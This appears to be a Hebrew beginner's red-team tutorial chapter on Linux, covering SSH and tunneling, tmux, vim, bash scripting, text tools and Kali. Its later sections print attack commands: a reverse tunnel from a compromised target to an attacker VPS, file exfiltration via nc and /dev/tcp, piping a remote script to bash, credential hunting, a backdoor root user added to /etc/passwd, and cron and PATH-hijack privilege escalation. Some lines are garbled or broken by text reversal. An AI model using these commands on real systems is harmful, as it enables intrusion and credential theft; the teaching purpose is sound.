

פרק 2 · RED TEAM GUIDES

לינוקס בעומק

מדריך מלא למתחילים — בעברית

Red Team Guides Series · 2026

פרק 2 — לינוקס בעומק

< מה צריך לדעת לפני: פרק 1 — מבנה filesystem, הרשאות, תהליכים, bash בסיסי, CLI כלים. לא נחזור על אלה.

SSH — הדרך לשלוט על שרתים מרחוק

SSH (Secure Shell) הוא פרוטוקול להתחברות מרחוק לשרת ולהריץ פקודות עליו — מוצפן. לפני SSH, השתמשו ב-Telnet שלא הצפין כלום — סיסמאות עברו בטקסט פתוח.

התחברות בסיסית

```
# התחבר לשרת:
ssh alice@192.168.1.100
# IP שם המשתמש, 192.168.1.100 = כתובת = alice

# פורט ברירת מחדל: 22. אם שונה:
ssh alice@192.168.1.100 -p 2222

# הרץ פקודה אחת ויצא:
ssh alice@192.168.1.100 "ls /var/www"

# פעם ראשונה – תראה:
# The authenticity of host '192.168.1.100' can't be established.
# ECDSA key fingerprint is SHA256:abc123...
# Are you sure you want to continue connecting (yes/no)?
# ← כתוב yes. זה שומר את ה"טביעת אצבע" של השרת ב-ssh/known_hosts.
# בפעם הבאה – יבדוק שהשרת לא השתנה (MITM protection)
```

SSH Keys — כניסה בלי סיסמה (ומאובטח יותר!)

איך עובד:

- אתה מייצר זוג מפתחות: מפתח פרטי (נשמר אצלך) + מפתח ציבורי
- מכניס את המפתח הציבורי לשרת
- בהתחברות SSH — מוכיח שיש לך את המפתח הפרטי בלי לשלוח אותו

זה הרבה יותר מאובטח מסיסמה — גם אם מישו מאזין לחיבור, הוא לא מקבל כלום.

```
# צור זוג מפתחות:
ssh-keygen -t ed25519 -C "alice@mycomputer"
# -t ed25519 = (מומלץ) אלגוריתם מודרני
# -C = לזיהוי (comment) תגובה
# ישאל: "Enter file in which to save the key" → Enter"
# ישאל: "Enter passphrase" → סיסמה להגנה על המפתח הפרטי (מומלץ)

# נוצרו:
ls ~/.ssh/
# id_ed25519 ← מפתח פרטי – לעולם לא לשתף!
# id_ed25519.pub ← מפתח ציבורי – אפשר לשתף

cat ~/.ssh/id_ed25519.pub
# ssh-ed25519 AAAA... alice@mycomputer

# העתק מפתח ציבורי לשרת:
ssh-copy-id alice@192.168.1.100
# ← מוסיף אוטומטית ל-~/.ssh/authorized_keys על השרת

# או ידנית:
cat ~/.ssh/id_ed25519.pub | ssh alice@192.168.1.100 "mkdir -p ~/.ssh && cat >> ~/.ssh/aut

# עכשיו התחברות בלי סיסמה:
ssh alice@192.168.1.100
# ← ישירות בלי לשאול!
```

SSH Config — קיצורי דרך

```
cat ~/.ssh/config
```

```
ssh/config./~ קובץ ← #
```

```
Host webserver
```

```
HostName 192.168.1.100
```

```
User alice
```

```
Port 2222
```

```
IdentityFile ~/.ssh/id_ed25519
```

```
Host jumpbox
```

```
HostName 10.0.0.5
```

```
User root
```

```
IdentityFile ~/.ssh/jump_key
```

```
Host internal
```

```
HostName 172.16.0.10
```

```
User root
```

```
ProxyJump jumpbox      # ← דרך jumpbox! כנס דרך
```

```
IdentityFile ~/.ssh/id_ed25519
```

```
# עכשיו :
```

```
ssh webserver          # = ssh alice@192.168.1.100 -p 2222
```

```
ssh internal           # ← דרך jumpbox! מתחבר אוטומטית
```

SSH Tunneling — "מנהרות" דרך SSH

זה אחד הנושאים הכי שימושיים ל-Red Teaming. מאפשר להעביר תעבורה דרך חיבור SSH.

Local Port Forwarding — הגש שירות מרוחק לוקאלי:

```
# דמיון: יש לך גישה ל-server-a, ו-server-a יכול לגשת ל-database-b:8080
# אתה לא יכול לגשת ישירות ל-database-b. אבל SSH יכול לעשות זאת:

ssh -L 9090:database-b:8080 alice@server-a
# -L 9090:database-b:8080 = "קח כל חיבור שמגיע לפורט 9090 שלי",
# ושלח אותו דרך server-a אל database-b:8080

# עכשיו בדפדפן שלך:
# http://localhost:9090 ← database-b! אתה מדבר עם

# דוגמה נוספת – גישה ל-RDP (פורט 3389) דרך jump host
ssh -L 3389:windows-target:3389 alice@jumphost
# ← פתח mstsc (Remote Desktop) אל localhost:3389 → מגיע ל-windows-target
```

Remote Port Forwarding — חשוף שירות שלך לשרת מרוחק:

```
# דמיון: יש לך web server על פורט 8080 על מחשבך.
# רוצה שמישהו ב-server-a יוכל לגשת אליו:

ssh -R 7070:localhost:8080 alice@server-a
# ← כל מי שניגש ל-server-a:7070 מגיע לקורט 8080 שלך!

# ל-Reverse Shell – Red Teaming דרך SSH
# ב-target (מכונה שפרצת):
ssh -R 4444:localhost:4444 attacker@your-vps
# ← כל חיבור אל your-vps:4444 מגיע ל-target:4444
```

:Dynamic Port Forwarding (SOCKS Proxy)

```
# צור socks proxy שמנתב הכל דרך SSH:
ssh -D 1080 alice@server-a
# על פורט 1080 socks proxy צור = -D 1080

# הגדר דפדפן / proxychains להשתמש ב-localhost:1080 SOCKS5
# - כל חיבור מהדפדפן עובר דרך server-a!

# ל- proxychains - Red Teaming
cat /etc/proxychains4.conf
# socks5 127.0.0.1 1080

!pivot-סרוק רשת פנימית דרך ה # proxychains nmap 172.16.0.0/24
```

SSH ב-Kali ל-Red Teaming:

```
# הגדר SSH server על Kali:
sudo systemctl start ssh
sudo systemctl enable ssh # Boot יתחיל עם

# שנה פורט (conspicuous):
sudo nano /etc/ssh/sshd_config
# Port 443 ← פורט 443 = HTTPS, פירוליסםלא חסום ב

# הפעל מחדש:
sudo systemctl restart ssh

# הסתר לוג:
# עדיף להשתמש ב-Certificate Authentication בלבד:
# PasswordAuthentication no
# PubkeyAuthentication yes
```

```
# SCP (Secure Copy) – SSH: העברת קבצים דרך:
scp file.txt alice@192.168.1.100:/tmp/      # קובץ → שרת
scp alice@192.168.1.100:/var/log/auth.log . # שרת → מקומי
scp -r /local/dir alice@server:/remote/    # -r = תיקייה שלמה
scp -P 2222 file.txt alice@server:/tmp/    # -P = פורט

# SFTP – session אינטראקטיבי:
sftp alice@192.168.1.100

# sftp> ls          ← הצג על השרת
# sftp> ll          ← הצג מקומי
# sftp> get file.txt ← הורד
# sftp> put file.txt ← העלה
# sftp> bye         ← יצא
```

tmux – ניהול Sessions מרובים

tmux (Terminal Multiplexer) = מאפשר לנהל כמה "חלונות" בטרמינל אחד, ולשמור sessions גם אחרי ניתוק.

למה זה קריטי ל-Red Teaming?

- עובד על SSH מרוחק – אם SSH מתנתק, ה-session שמור ב-tmux
- יכול להריץ כמה כלים במקביל בחלון אחד
- מוכנסות session של פעולה שלמה

```
# התקנה:
sudo apt install tmux

# הפעל:
tmux

# יצירת Session בשם:
tmux new -s redteam

# רשימת sessions:
tmux ls

# חזרה ל-session:
tmux attach -t redteam

# קיצור: tmux a -t redteam

# ניתוק מ-session (ממשיך ברקע!):
# Ctrl+B → D    (D = Detach)
```

מקשי tmux — כל פקודה מתחילה ב-Ctrl+B

Ctrl+B → C	חלון חדש (new window)
Ctrl+B → N	חלון הבא (next)
Ctrl+B → P	חלון קודם (previous)
Ctrl+B → ,	שנה שם חלון
Ctrl+B → W	רשימת חלונות
Ctrl+B → %	חצץ אנכי (split vertical)
Ctrl+B → "	חצץ אופקי (split horizontal)
Ctrl+B → ←→	panes עבור בין
Ctrl+B → Z	pane הגדל/הקטן
Ctrl+B → X	pane סגור
Ctrl+B → D	(!נשאר session) נתק
Ctrl+B → \$	שם session שנה
Ctrl+B → ?	עזרה


```
cat ~/.tmux.conf
```

```
# ~/.tmux.conf

# שנה prefix מ-Ctrl+B ל-Ctrl+A (כמו screen, נוח יותר לחלק):
# set -g prefix C-a

# מספרי windows מ-1 (לא 0):
set -g base-index 1

# עכבר:
set -g mouse on

# שמור יותר היסטוריה:
set -g history-limit 50000

# שורת מצב נחמדה:
set -g status-style bg=black,fg=green
```

vim — עריכת קבצים מה-Terminal

vim = עורך טקסט מה-terminal. נדמה מוזר בהתחלה אבל ברגע שלומדים — מהיר מאוד.

למה לא nano? nano? פשוט יותר. vim מצוי **בכל שרת לינוקס**, ויש פיצ'רים שבהם vim הכרחי (ל-privesc, לעריכה מהירה).

```
# פתח קובץ:
vim /etc/sshd_config

# vim מתחיל ב Normal Mode (עדיין לא כותבים עדיין)
```

שני מצבים עיקריים

Normal Mode — ניווט ופקודות. ברירת מחדל.

Normal Mode → Insert Mode:

i ← cursor הכנס לפני
a ← cursor הכנס אחרי
o ← שורה חדשה מתחת
O ← שורה חדשה מעל

Insert Mode → Normal Mode:

Esc ← Normal-חזור ל

ניווט ב-Normal Mode

h j k l ← (במקום חצים) ←

w ← מילה קדימה

b ← מילה אחורה

0 ← תחילת שורה

\$ ← סוף שורה

gg ← תחילת קובץ

G ← סוף קובץ

42: ← עבור לשורה 42

Ctrl+F ← דף קדימה

Ctrl+B ← דף אחורה

```
dd      ← מחק שורה
yy      ← העתק שורה
p       ← הדבק
u       ← undo
Ctrl+R  ← redo

/pattern ← חיפוש קדימה
?pattern ← חיפוש אחורה
n       ← הבא
N       ← הקודם

:s/old/new/g  ← החלף בשורה
:%s/old/new/g ← החלף בכל הקובץ

:w       ← שמור
:q       ← יצא (אם לא שונה)
:q!      ← יצא בלי לשמור
:wq      ← שמור ויצא (= ZZ-Normal)
:x       ← שמור אם שונה ויצא
```

vimtutor — מדריך מובנה:

```
vimtutor  # מדריך אינטראקטיבי ~30 דקות
```

Package Management — התקנת תוכנות

לינוקס מנהל תוכנות דרך **Package Manager** — מנהל חבילות. כל distro יש לו משלו.

```

# עדכן רשימת חבילות זמינות (חשוב לעשות לפני התקנה!):
sudo apt update

# שדרג חבילות מותקנות:
sudo apt upgrade

# התקן חבילה:
sudo apt install nmap
sudo apt install nmap wireshark netcat -y    # -y = אוטומטית
אשר הכל אוטומטית

# הסר חבילה:
sudo apt remove nmap
sudo apt purge nmap    # גם קבצי תצורה

# חפש חבילה:
apt search nmap
apt search "port scanner"

# מידע על חבילה:
apt show nmap

# רשימת חבילות מותקנות:
dpkg -l
dpkg -l | grep nmap    # חפש ספציפי
dpkg -l | grep -i python    # case insensitive

# מצא איזה package מכיל קובץ:
dpkg -S /usr/bin/nmap    # nmap: /usr/bin/nmap
dpkg -L nmap    # רשימת כל הקבצים של

```

```
# דוגמה: התקנת כלי שאין ב-apt
git clone https://github.com/author/tool.git
cd tool

# בדרך כלל:
./configure # ← dependencies, צור Makefile
make        # ← קמפל
sudo make install # ← התקן (ל bin/העתק)

# Python tools:
pip3 install impacket
pip3 install -r requirements.txt # ← דורש projce מה כל מה ← #
# pip מקומית (לא root-לא):
pip3 install --user tool_name

# סביבה וירטואלית (מומלץ):
python3 -m venv myenv
source myenv/bin/activate # ← הפעל venv
pip3 install tool_name
deactivate                # ← מ venv
```

Environment Variables — משתני הסביבה

Environment Variables הן הגדרות שזמינות לכל תהליך. כמו הגדרות "גלובליות" של ה-shell.

```
# הצג כל משתני סביבה:
```

```
env
```

```
printenv
```

```
# הצג אחד ספציפי:
```

```
echo $PATH
```

```
echo $HOME
```

```
echo $USER
```

```
echo $SHELL
```

```
# המשתנים החשובים:
```

```
# PATH = bash פקודות ורשימת תיקיות ש מחפש בהן
```

```
# HOME = /home/alice
```

```
# USER = alice
```

```
# SHELL = /bin/bash
```

```
# PWD = התיקיה הנוכחית
```

```
# TERM = terminal סוג
```

```
# LANG = locale-שפה ו
```

```
# EDITOR = עורך ברירת מחדל
```

```
# הגדר משתנה זמני (רק ל-session הנוכחי):
```

```
MY_VAR="hello"
```

```
echo $MY_VAR # hello
```

```
# ייצוא לתהליכי בן:
```

```
export MY_VAR="hello"
```

```
bash -c 'echo $MY_VAR' # hello (ירש)
```

```
# הגדרה קבועה – הוסף ל- ~/.bashrc
```

```
echo 'export MY_VAR="hello"' >> ~/.bashrc
```

```
source ~/.bashrc # טען מחדש ←
```

PATH — איפה bash מחפש פקודות

```
echo $PATH

# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/alice/.local/bin

# כשמקלידים 'bash', nmap עובר על כל תיקייה ב-PATH בסדר ומחפש
# קובץ ביצוע בשם 'nmap'. הראשון שמוצא – הוא זה שרץ.

# הוסף תיקייה ל-PATH:
export PATH="$PATH:/opt/my_tools"

# הוסף לפני (גבוה יותר בעדיפות!):
export PATH="/opt/my_tools:$PATH"

# מצא איפה נמצא הbinary:
which nmap      # /usr/bin/nmap
which python3   # /usr/bin/python3

# ל-Red Teaming: אם PATH כולל תיקייה ניתנת לכתיבה – PATH Hijacking!
# מישו מריץ 'python' → אם tmp/ לפני /usr/bin ב-PATH
# שלנו קודם tmp/python / ימצא את bash ← #
```

bashrc vs .bash_profile.

```
# (login לא) אינטראקטיבי חדש terminal רץ כל פעם שפותחים – .bashrc
# .bash_profile – login shells (SSH, gdm) רק ב
# בדפייאן/אובונטו: .bash_profile קורא .bashrc

# מה שווה לשים ב-.bashrc:
cat ~/.bashrc
```

```

# ~/.bashrc

# Aliases – קיצורים:
alias ll='ls -la'
alias la='ls -la --color=auto'
alias ..='cd ..'
alias ...='cd ../../'
alias grep='grep --color=auto'
alias h='history | grep'

# Functions:
mkcd() { mkdir -p "$1" && cd "$1"; }      # mkdir + cd אחד בפקודה
extract() {
    case "$1" in
        *.tar.gz) tar xzf "$1" ;;
        *.tar.bz2) tar xjf "$1" ;;
        *.zip)     unzip "$1" ;;
        *.gz)      gunzip "$1" ;;
        *)         echo "$1 :לא ידוע" ;;
    esac
}

# שמירת הסטוריה גדולה:
HISTSIZE=100000
HISTFILESIZE=200000
HISTTIMEFORMAT="%Y-%m-%d %H:%M "      # להיסטוריה timestamp הוסף!

# ל-Red Teaming – מצא פקודות עם סיסמאות בהיסטוריה:
history | grep -i "pass\|ssh\|mysql\|token"
cat ~/.bash_history | grep -i "pass\|key\|secret"

```

Bash Scripting מתקדם

פרק 1 כיסה בסיסים. כאן נלך עמוק יותר.


```
#!/bin/bash

# הגדר מערך:
targets=("192.168.1.1" "192.168.1.2" "10.0.0.5")

# גישה:
echo ${targets[0]}           # 192.168.1.1 (מאינדקס 0)
echo ${targets[1]}           # 192.168.1.2
echo ${targets[@]}           # כל האיברים
echo ${#targets[@]}           # 3 (מספר איברים)

# הוסף:
targets+=("172.16.0.1")

# עבור על כל המערך:
for ip in "${targets[@]}; do
    echo "בודק: $ip"
    ping -c 1 -W 1 "$ip" > /dev/null && echo "פעיל ↑"
done

# קרא קובץ למערך:
mapfile -t lines < /etc/passwd
echo "מספר משתמשים: ${#lines[@]}"
```

```
# כתוב קובץ מרובה שורות:
cat > /tmp/script.py << 'EOF'
#!/usr/bin/env python3
import socket

s = socket.socket()
s.connect(("192.168.1.1", 4444))
EOF
# ← הכל בין EOF נכתב לקובץ

# שלח ל-command:
ssh alice@server << 'ENDSSH'
    echo "הרץ על שרת מרוחק"
    whoami
    id
ENDSSH
```

```
#!/bin/bash

# set -e = אם פקודה נכשלת -script יצא מה:
set -e

# set -u = שגיאה על משתנה לא מוגדר:
set -u

# set -x = הדפס כל פקודה לפני הרצה (debug mode):
set -x

# בדיקת קוד יציאה:
if ! command -v nmap &>/dev/null; then
    echo "שגיאה: nmap מותקן לא"
    exit 1
fi

# trap – "לכוד" Ctrl+C ושגיאות:
cleanup() {
    echo "מנקה..."
    rm -f /tmp/temp_file.txt
}

trap cleanup EXIT      # ← יציאה cleanup-קרא ל
trap cleanup INT       # ← Ctrl+C

do_scan() {
    local target="$1"
    nmap "$target" > /tmp/temp_file.txt 2>&1
    if [ $? -ne 0 ]; then
        echo "ל-stderr שלח ל" >&2      # ←
        return 1
    fi
    cat /tmp/temp_file.txt
}
```

Command Groups-I Process Substitution

```
# Process Substitution – <() משתמש בפלט פקודה כקובץ <():
diff <(ls /dir1) <(ls /dir2)    # ← שתי תיקיות ←
# בלי process substitution: היינו צריכים שני קבצים זמניים

# while loop על פלט:
nmap -sn 192.168.1.0/24 | while read line; do
    echo "נמצא: $line"
done

# Command Group – subshell הרץ בתוך:
(
    cd /tmp
    ls
# ← שינוי תיקייה כאן לא משפיע על שאר הscript
)

# Group בלי subshell:
{
    echo "שורה 1"
    echo "שורה 2"
} > output.txt    # ← שניהם הולכים לקובץ ←
```

```
awk: pattern { action } מבנה #
...2 = $2 , שדה = $1 , כל השורה, $0 #

:etc/passwd/-מ-UID שם משתמש ו-UID #
awk -F: '{print $1, $3}' /etc/passwd
# -F: = מפריד שדות הוא ':'

:רק משתמשים עם UID > 1000 (משתמשי אדם) #
awk -F: '$3 > 1000 {print $1, $3, $6}' /etc/passwd

:ספור #
awk 'END {print NR}' /etc/passwd # NR = מספר שורות
awk '{sum += $5} END {print sum}' sizes.txt # סכום עמודה

:מחרוזות מיוחדות: #
awk 'BEGIN {print "התחלה"}
    /root/ {print "מצאתי root:", $0}
    END {print "סיום, שורות:", NR}' /etc/passwd
```

```

# החלף (כבר ראינו):
sed 's/old/new/g' file.txt

# מחק שורות:
sed '/^#/d' config.txt      # מחק הערות (שורות שמתחילות ב-#)
sed '/^$/d' config.txt      # מחק שורות ריקות
sed '1,5d' file.txt         # מחק שורות 1-5

# הדפס שורות ספציפיות:
sed -n '10,20p' file.txt     # הדפס שורות 10-20
sed -n '/START/,/END/p' file.txt # ל-START הדפס בין # ל-END

# ערוך in-place (שנה קובץ עצמו):
sed -i 's/old/new/g' file.txt # -i = in-place
sed -i.bak 's/old/new/g' file.txt # -i.bak = שמור גיבוי

# דוגמה מעשית – שנה IP בכל קבצי תצורה:
sed -i 's/192\.168\.1\.100/10\.0\.0\.5/g' /etc/nginx/nginx.conf
# ← . חייב להיות \. כי . ב-regex = כל תו

```

```
# tr – תרגום/מחיקה של תווים:
echo "HELLO WORLD" | tr 'A-Z' 'a-z'      # ← hello world (קטנות)
echo "hello world" | tr 'a-z' 'A-Z'      # ← HELLO WORLD (גדולות)
echo "hello  world" | tr -s ' '          # -s = (שטח → שטח יחיד) דחוס רצפים
echo "pass: 1234" | tr -d '0-9'          # -d = מחק ספרות → "pass: "
```



```
# cut – חתוך עמודות:
cut -d: -f1,3 /etc/passwd                # ': שדות 1 ו-3, מפריד
```



```
cut -d, -f2 data.csv                     # מ CSV שדה 2
cut -c1-10 file.txt                      # תווים 1-10 מכל שורה
```



```
# paste – חבר קבצים עמודה לצד עמודה:
paste file1.txt file2.txt                # → שורה-f1 שורה-f2
paste -d, names.txt ages.txt             # → alice,30
```

```
# find – סריקה מתקדמת:
find / -name "*.conf" -readable 2>/dev/null # ניתנים לקריאה
find / -name "*.log" -newer /etc/passwd # שונו לאחרונה
find / -type f -size +10M -size -100M # 10 MB-100MB
find /home -name ".bash_history" 2>/dev/null # כל historyfiles!

# xargs – הפעל פקודה על כל תוצאה:
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
# ← מצא כל config files שמכילים "password"

# exec – ל-xargs דומה:
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# grep – חיפוש מתקדם:
grep -r "password" /etc/ 2>/dev/null # recursive
grep -rn "AAAAA" /proc/ 2>/dev/null # עם מספרי שורה
grep -P "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" file.txt # Perl regex (IP)
grep -oP "(?<=password: )\S+" file.txt # שלוף רק הסיסמה עצמה

# חיפוש שימושי ל-Red Teaming:
grep -rn "password\|passwd\|pwd\|secret\|key\|token\|api_key" \
/var/www/ /opt/ /home/ 2>/dev/null | grep -v ".git"
```



```
# כמה מקום יש:
df -h

# Filesystem      Size  Used Avail Use% Mounted on
# /dev/sda1        50G   20G   28G   42% /
# tmpfs            7.8G    0   7.8G    0% /dev/shm

# כמה מקום תיקייה תופסת:
du -sh /var/log/          # -s = סיכום, -h = human readable
du -sh /home/*            # לכל home directory
du -h --max-depth=1 /     # תיקיות בשורש, עומק 1

# ראה כל disk devices
lsblk

# NAME MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
# sda      8:0    0  100G  0 disk
# └─sda1    8:1    0   50G  0 part /
# └─sda2    8:2    0    2G  0 part [SWAP]
# └─sda3    8:3    0   48G  0 part /home

# מידע מפורט על partitions
sudo fdisk -l

# Mount/Unmount:

sudo mount /dev/sdb1 /mnt/external  # mount חיצוני דיסק
sudo mount -o ro /dev/sdb1 /mnt/    # -o ro = read-only
sudo umount /mnt/external           # unmount

# /etc/fstab – אוטומטי בהפעלה mount:
cat /etc/fstab

# UUID=abc123 / ext4 errors=remount-ro 0 1
# UUID=def456 /home ext4 defaults      0 2
```

```
# הצג interface קיימות:
ip addr
ip addr show eth0

# הוסף IP זמני:
sudo ip addr add 192.168.1.200/24 dev eth0

# הסר IP:
sudo ip addr del 192.168.1.200/24 dev eth0

# הפעל/כבה interface:
sudo ip link set eth0 up
sudo ip link set eth0 down

# טבלת routing:
ip route
# default via 192.168.1.1 dev eth0 ← default gateway
# 192.168.1.0/24 dev eth0 ...

# הוסף route:
sudo ip route add 10.0.0.0/8 via 192.168.1.1

# Promiscuous Mode – שמע" לכל" (לא רק אליך) traffic:
sudo ip link set eth0 promisc on
# ← tcpdump / Wireshark יכולים ללכוד גם traffic שלא מיועד לך

# שינוי MAC Address –:
sudo ip link set eth0 down
sudo ip link set eth0 address 00:11:22:33:44:55 # חדש MAC
sudo ip link set eth0 up
# ← שינוי MAC שימושי להסתרת זהות ב-network

# NetworkManager (Desktop):
nmcli connection show
nmcli device status
nmcli con add type ethernet con-name "mycon" ifname eth0
```

```
# resolv.conf – DNS:
cat /etc/resolv.conf

# nameserver 8.8.8.8
# nameserver 8.8.4.4

# שנה DNS זמני:
echo "nameserver 1.1.1.1" | sudo tee /etc/resolv.conf
```

Kali Linux — סביבת העבודה שלנו

Kali Linux היא הפצה שנוצרה ספציפית ל-penetration testing. מגיעה עם מאות כלים.

כלים מרכזיים המותקנים

:Scanning & Enumeration

```
nmap          # סריקת רשת – מלך הסריקות
masscan       # סריקה מהירה מאוד
netdiscover   # LAN-ב hosts גלה
```

:Exploitation

```
metasploit-framework # msfconsole – פלטפורמת exploits
sqlmap               # אוטומטי SQL injection
hydra                # כניסות brute force
medusa               # נוסף brute force
```

:Web

```
burpsuite        # proxy לבדיקת web apps
nikto             # Web server vulnerabilities סריקת
dirb / gobuster   # directory bruteforce כלי ל
wfuzz             # web fuzzer
```

:Password

```
john          # John the Ripper – password cracking
hashcat       # GPU-based cracking (מהיר מאוד)
crunch        # wordlists 'יצירת
```

:Wireless

```
aircrack-ng   # WiFi cracking suite
kismet        # wireless monitoring
```

:Post-Exploitation

```
mimikatz      # Windows credential extraction (דרך Wine/VM)
impacket      # Python SMB/Kerberos tools
bloodhound    # AD visualization
```

Wordlists

Kali מגיעה עם wordlists מובנות:

```
ls /usr/share/wordlists/

# fasttrack.txt      ← סיסמאות נפוצות מהירות
# rockyou.txt.gz     ← מיליון סיסמאות מדליפה אמיתית 14
# dirb/             ← Web נפוצים ל directories
# metasploit/        ← wordlists של metasploit

# חלץ rockyou (מגיע דחוס):
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

wc -l /usr/share/wordlists/rockyou.txt
!!! 14 מיליון ← 14344392 #
```

Living Off the Land — Red Teaming עם כלים מובנים

LOLB (Living Off the Land Binaries) = שימוש בכלים שכבר מותקנים על המחשב, בלי להכניס EXEs חשודים.

```

# מידע על המכונה:

uname -a                # גרסת קרנל
cat /etc/os-release     # הפצה וגרסה
hostname                # שם מכונה
hostname -I             # IP כתובות
cat /etc/hosts          # מקומי DNS
cat /proc/net/arp       # ARP table – hosts ב-subnet

# רשת:

cat /proc/net/tcp       # TCP חיבורי (hex format)
ss -tulnp               # פתוחים ports
ip neigh                # ARP cache (hosts שוחרים)
route -n                # routing table

# Users:

cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group

w                        # מי מחובר עכשיו ומה הם עושים
last                     # היסטוריית כניסות
lastlog                  # כל משתמש – כניסה אחרונה

# Credentials:

find / -name "*.conf" -exec grep -l "pass\|user\|token" {} \; 2>/dev/null
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
cat ~/.bash_history | grep -i "pass\|sudo\|ssh\|mysql"
env | grep -i "pass\|key\|token\|secret"

# קבצים שונים לאחרונה (עקבות):

find / -newer /tmp -type f 2>/dev/null | head -20
find /tmp /var/tmp /dev/shm -type f 2>/dev/null

# sudo סיסמה – זהב sudo:

sudo -l 2>/dev/null

```

```
# Python HTTP server (הכי נפוץ):  
python3 -m http.server 8080      # על פורט 8080 שרת ←  
wget http://IP:8080/file          # ← עכשיו ממחשב אחר:  
  
# nc (netcat) – העבר קובץ:  
# מקבל (מחכה):  
nc -lvp 4444 > received_file  
# שולח:  
nc TARGET_IP 4444 < file_to_send  
  
# bash TCP:  
# שולח:  
cat file.txt > /dev/tcp/TARGET_IP/4444  
# מקבל:  
nc -lvp 4444 > received_file  
  
# base64 (כשאינן אפשרות אחרת):  
# שולח – הצפן לbase64:  
base64 -w 0 file.bin      # -w 0 = ללא line wrapping  
# ← העתק+הדבק לחלון אחר  
# מקבל – פענח:  
echo "BASE64_STRING" | base64 -d > file.bin
```

חיפוש Vulnerabilities מקומיות (Local Privilege Escalation)

אחרי שנכנסנו למחשב כמשתמש רגיל — כיצד נהפוך ל-root?

```

# =====
# LinPEAS – הכלי האוטומטי
# =====
# (מחשב התוקף): #
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# (על המטרה – הורד והרץ): #
curl -L https://linpeas.sh | bash
escalation vectors כל מיני ← #

# =====
# בדיקות ידניות
# =====

# 1. SUID files:
find / -perm -4000 -type f 2>/dev/null
vulnerability = root כל אחד מהאלה עם ← #

# 2. Writable /etc/passwd:
ls -la /etc/passwd
!UID 0 אדם w ל-others: הוסף שורה עם 0 UID #
echo 'backdoor:${openssl passwd -1 password}:0:0:root:/root:/bin/bash' >> /etc/passwd
su backdoor # ← root!

# 3. sudo misconfiguration:
sudo -l
# (ALL) NOPASSWD: /usr/bin/vim ← vim כ-root!
sudo vim -c '!:bash' # ← root shell

# 4. Writable cron:
crontab -l
ls -la /etc/cron*
# אם יש script שroot מריץ ואנחנו יכולים לכתוב אליו:
echo "chmod u+s /bin/bash" >> /etc/cron_script.sh
SUID → bash -p = root קבל bash: root מריץ: ← #

# 5. PATH Hijacking:

```

```
echo $PATH      # בדוק אם יש תיקייה ניתנת לכתיבה לפני /usr/bin
"...:PATH="/tmp:/usr/bin :דוגמה: #
echo '#!/bin/bash
/bin/bash -p' > /tmp/ls      # script כתוב ← #
chmod +x /tmp/ls
! ← אם root מריץ 'ls' → הscript שלנו!

# 6. Weak file permissions:
ls -la /etc/shadow      # hashes אם קריא = שאוב
ls -la /root/.ssh/      # SSH keys של root?

# 7. Running services:
ps aux | grep -v "^root"      # לא רגילים paths עם root שירותים של
```

סיכום — פרק 2

SSH — הדרך לשלוט על שרתים. Keys מאובטחות יותר מסיסמאות. pivot = Tunneling בתוך רשתות.

tmux — שמור sessions אפילו כשSSH מתנתק. חלונות מרובים.

vim — חובה ללמוד. **i** להכניס, **Esc** ל-**:wq**, Normal לשמור ולצאת.

pip. **apt update && apt install** — **Package Management** ל-**git clone + make**. Python לכל השאר.

PATH — **Environment Variables** קריטי ל-**export**. hijacking לשיתוף.

bashrc. — הגדרות קבועות, history, aliases גדול.

Bash Advanced — arrays, here-docs, error handling, process substitution.

Text Processing (שדות), **sed** (החלפה/מחיקה), **grep -P** (Perl regex).

Kali — rockyou.txt, wordlists, burpsuite, metasploit, impacket, bloodhound.

LOL Binaries לקבצים, **python3** HTTP server, nc, **/dev/tcp**, **base64**.

Local PrivEsc — SUID, writable /etc/passwd, sudo -l, PATH hijacking, cron misconfig.